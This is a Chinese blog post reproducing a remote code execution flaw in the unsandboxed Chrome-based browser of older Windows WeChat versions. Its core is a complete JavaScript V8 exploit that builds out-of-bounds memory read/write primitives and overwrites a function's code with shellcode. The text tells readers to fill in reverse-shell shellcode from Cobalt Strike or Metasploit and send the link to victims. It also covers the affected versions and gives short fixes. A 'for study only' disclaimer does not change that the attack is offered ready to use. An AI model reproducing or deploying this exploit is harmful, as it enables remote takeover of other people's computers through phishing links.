前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >[漏洞]微信(Chrome)漏洞复现

[漏洞]微信(Chrome)漏洞复现

作者头像
vFREE
发布2021-12-20 20:32:30
7410
发布2021-12-20 20:32:30
举报
文章被收录于专栏:博客原创文章博客原创文章

​最近谷歌浏览器的漏洞真的是够热闹的,先有Chrome浏览器的远程代码执行漏洞,现在又爆出了微信默认浏览器的远程代码执行漏洞,多么美好的"梦幻联动"

漏洞影响范围

Windows版 微信<3.2.1.141

漏洞产生的原因

微信的默认浏览器使用了低版本的Chrome内核,而且相比较Chrome浏览器来说,微信的是默认不开启沙盒的,该漏洞的主要影响如果是开启了沙盒的话,对一般的用户来说并没有啥太大的影响,但是在没有开启沙盒的情况下,打开了payload链接,受攻击的几率是大大增加的,爆出这个漏洞后,估计有些大佬天天都是"发个链接给你,点一下!!!"

漏洞复现

先通过 https://wuchendi.gitee.io/chrome/index.html 查询当前微信使用的谷歌内核版本是多少,直接复制到微信打开就行了

上图可以清楚地看到,微信的浏览器是关闭了沙盒运行的,在第14行的--no-sandbox...

此时可以继续使用在chrome 0day中的测试网页,但是要将exploit.js的内容更改成:

代码语言:javascript
复制
ENABLE_LOG = true; IN_WORKER = true; // run calc and hang in a loop var shellcode = [ ] //这里添加shellcode function print(data)  var not_optimised_out = 0; var target_function = (function (value) { if (value == 0xdecaf0) { not_optimised_out += 1; } not_optimised_out += 1; not_optimised_out |= 0xff; not_optimised_out *= 12; }); for (var i = 0; i < 0x10000; ++i) { target_function(i); } var g_array; var tDerivedNCount = 17 * 87481 - 8; var tDerivedNDepth = 19 * 19; function cb(flag) { if (flag == true) { return; } g_array = new Array(0); g_array[0] = 0x1dbabe * 2; return 'c01db33f'; } function gc() { for (var i = 0; i < 0x10000; ++i) { new String(); } } function oobAccess() { var this_ = this; this.buffer = null; this.buffer_view = null; this.page_buffer = null; this.page_view = null; this.prevent_opt = []; var kSlotOffset = 0x1f; var kBackingStoreOffset = 0xf; class LeakArrayBuffer extends ArrayBuffer { constructor() { super(0x1000); this.slot = this; } } this.page_buffer = new LeakArrayBuffer(); this.page_view = new DataView(this.page_buffer); new RegExp({ toString: function () { return 'a' } }); cb(true); class DerivedBase extends RegExp { constructor() { // var array = null; super( // at this point, the 4-byte allocation for the JSRegExp `this` object // has just happened. { toString: cb }, 'g' // now the runtime JSRegExp constructor is called, corrupting the // JSArray. ); // this allocation will now directly follow the FixedArray allocation // made for `this.data`, which is where `array.elements` points to. this_.buffer = new ArrayBuffer(0x80); g_array[8] = this_.page_buffer; } } // try{ var derived_n = eval(`(function derived_n(i) { if (i == 0) { return DerivedBase; } class DerivedN extends derived_n(i-1) { constructor() { super(); return; ${"this.a=0;".repeat(tDerivedNCount)} } } return DerivedN; })`); gc(); new (derived_n(tDerivedNDepth))(); this.buffer_view = new DataView(this.buffer); this.leakPtr = function (obj) { this.page_buffer.slot = obj; return this.buffer_view.getUint32(kSlotOffset, true, ...this.prevent_opt); } this.setPtr = function (addr) { this.buffer_view.setUint32(kBackingStoreOffset, addr, true, ...this.prevent_opt); } this.read32 = function (addr) { this.setPtr(addr); return this.page_view.getUint32(0, true, ...this.prevent_opt); } this.write32 = function (addr, value) { this.setPtr(addr); this.page_view.setUint32(0, value, true, ...this.prevent_opt); } this.write8 = function (addr, value) { this.setPtr(addr); this.page_view.setUint8(0, value, ...this.prevent_opt); } this.setBytes = function (addr, content) { for (var i = 0; i < content.length; i++) { this.write8(addr + i, content[i]); } } return this; } function trigger() { var oob = oobAccess(); var func_ptr = oob.leakPtr(target_function); print('[*] target_function at 0x' + func_ptr.toString(16)); var kCodeInsOffset = 0x1b; var code_addr = oob.read32(func_ptr + kCodeInsOffset); print('[*] code_addr at 0x' + code_addr.toString(16)); oob.setBytes(code_addr, shellcode); target_function(0); } try{ print("start running"); trigger(); }catch(e){ print(e); }

https://github.com/vFREE-1/wechat-ces

以上代码源自于微信公众号:潇湘信安

此时可以使用cs或者msf生成shellcode,这里使用cs生成c#的shellcode做的反弹shell测试,生成的shellcode添加入var shellcode后面的[]中即可

然后将链接发送给其他人,一旦点击,鱼儿就上钩了...就像这样子

点击后...

至于如何生成shellcode见:https://www.163.com/dy/article/G83DN1SG0534HPN8.html

仅做学习测试,禁止用于违法上,如果你知法犯法了,那就与我无关

修复方案

1.升级微信版本至最高(设置 - 关于 - 检测更新)

2.不打开可疑链接

3.开启防护软件

注:部分图片源自于网络,部分漏洞分析和代码摘自于网络,如有侵权,请联系删除!!!谢谢

仅做学习使用,禁止用于违法操作!!!

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档